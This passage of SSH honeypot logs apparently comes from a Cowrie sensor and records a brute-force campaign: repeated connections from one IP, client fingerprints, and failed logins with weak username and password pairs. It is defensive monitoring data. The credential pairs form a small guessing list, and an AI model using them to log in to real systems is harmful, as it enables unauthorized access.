t-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:50.592464Z","src_ip":"45.156.87.253","session":"8ea0559bf531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:50.943214Z","src_ip":"45.156.87.253","session":"8ea0559bf531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:52.025645Z","src_ip":"45.156.87.253","session":"8ea0559bf531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37384,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd10106f45a3","protocol":"ssh","message":"New connection: 45.156.87.253:37384 (10.17.0.5:22) [session: fd10106f45a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:53.571420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:53.574275Z","src_ip":"45.156.87.253","session":"fd10106f45a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:53.654326Z","src_ip":"45.156.87.253","session":"fd10106f45a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linuxuser","password":"1","message":"login attempt [linuxuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:53.896008Z","src_ip":"45.156.87.253","session":"fd10106f45a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:54.978908Z","src_ip":"45.156.87.253","session":"fd10106f45a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37398,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f44f6c29ee","protocol":"ssh","message":"New connection: 45.156.87.253:37398 (10.17.0.5:22) [session: c0f44f6c29ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:56.630810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:56.635786Z","src_ip":"45.156.87.253","session":"c0f44f6c29ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:56.715243Z","src_ip":"45.156.87.253","session":"c0f44f6c29ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:56.955909Z","src_ip":"45.156.87.253","session":"c0f44f6c29ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:58.039000Z","src_ip":"45.156.87.253","session":"c0f44f6c29ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60604,"dst_ip":"10.17.0.5","dst_port":22,"session":"7351fd12b6e8","protocol":"ssh","message":"New connection: 45.156.87.253:60604 (10.17.0.5:22) [session: 7351fd12b6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:59.629779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:59.633252Z","src_ip":"45.156.87.253","session":"7351fd12b6e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:59.713383Z","src_ip":"45.156.87.253","session":"7351fd12b6e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:59.954005Z","src_ip":"45.156.87.253","session":"7351fd12b6e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:01.037141Z","src_ip":"45.156.87.253","session":"7351fd12b6e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60612,"dst_ip":"10.17.0.5","dst_port":22,"session":"286241d7fe83","protocol":"ssh","message":"New connection: 45.156.87.253:60612 (10.17.0.5:22) [session: 286241d7fe83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:02.662739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:02.671317Z","src_ip":"45.156.87.253","session":"286241d7fe83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:02.751547Z","src_ip":"45.156.87.253","session":"286241d7fe83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:02.994479Z","src_ip":"45.156.87.253","session":"286241d7fe83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:04.077475Z","src_ip":"45.156.87.253","session":"286241d7fe83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60624,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a03aed41f5e","protocol":"ssh","message":"New connection: 45.156.87.253:60624 (10.17.0.5:22) [session: 6a03aed41f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:05.715160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:05.718815Z","src_ip":"45.156.87.253","session":"6a03aed41f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:05.850362Z","src_ip":"45.156.87.253","session":"6a03aed41f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:06.102576Z","src_ip":"45.156.87.253","session":"6a03aed41f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:07.184978Z","src_ip":"45.156.87.253","session":"6a03aed41f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60626,"dst_ip":"10.17.0.5","dst_port":22,"session":"502a79b0850c","protocol":"ssh","message":"New connection: 45.156.87.253:60626 (10.17.0.5:22) [session: 502a79b0850c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:08.846118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:08.850108Z","src_ip":"45.156.87.253","session":"502a79b0850c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:08.931765Z","src_ip":"45.156.87.253","session":"502a79b0850c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:09.176993Z","src_ip":"45.156.87.253","session":"502a79b0850c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:10.260587Z","src_ip":"45.156.87.253","session":"502a79b0850c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59024,"dst_ip":"10.17.0.5","dst_port":22,"session":"81dff53f4a87","protocol":"ssh","message":"New connection: 45.156.87.253:59024 (10.17.0.5:22) [session: 81dff53f4a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:11.860063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:11.863612Z","src_ip":"45.156.87.253","session":"81dff53f4a87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:11.944597Z","src_ip":"45.156.87.253","session":"81dff53f4a87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:12.191777Z","src_ip":"45.156.87.253","session":"81dff53f4a87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:13.276192Z","src_ip":"45.156.87.253","session":"81dff53f4a87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59036,"dst_ip":"10.17.0.5","dst_port":22,"session":"84739e9e8ba5","protocol":"ssh","message":"New connection: 45.156.87.253:59036 (10.17.0.5:22) [session: 84739e9e8ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:14.841630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:14.845562Z","src_ip":"45.156.87.253","session":"84739e9e8ba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:14.925836Z","src_ip":"45.156.87.253","session":"84739e9e8ba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111.","message":"login attempt [root/Aa111111.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:15.167826Z","src_ip":"45.156.87.253","session":"84739e9e8ba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":47938,"dst_ip":"159.203.135.109","dst_port":22,"session":"96b7b9c71dc4","protocol":"ssh","message":"New connection: 162.240.75.182:47938 (159.203.135.109:22) [session: 96b7b9c71dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:15.917313Z"}
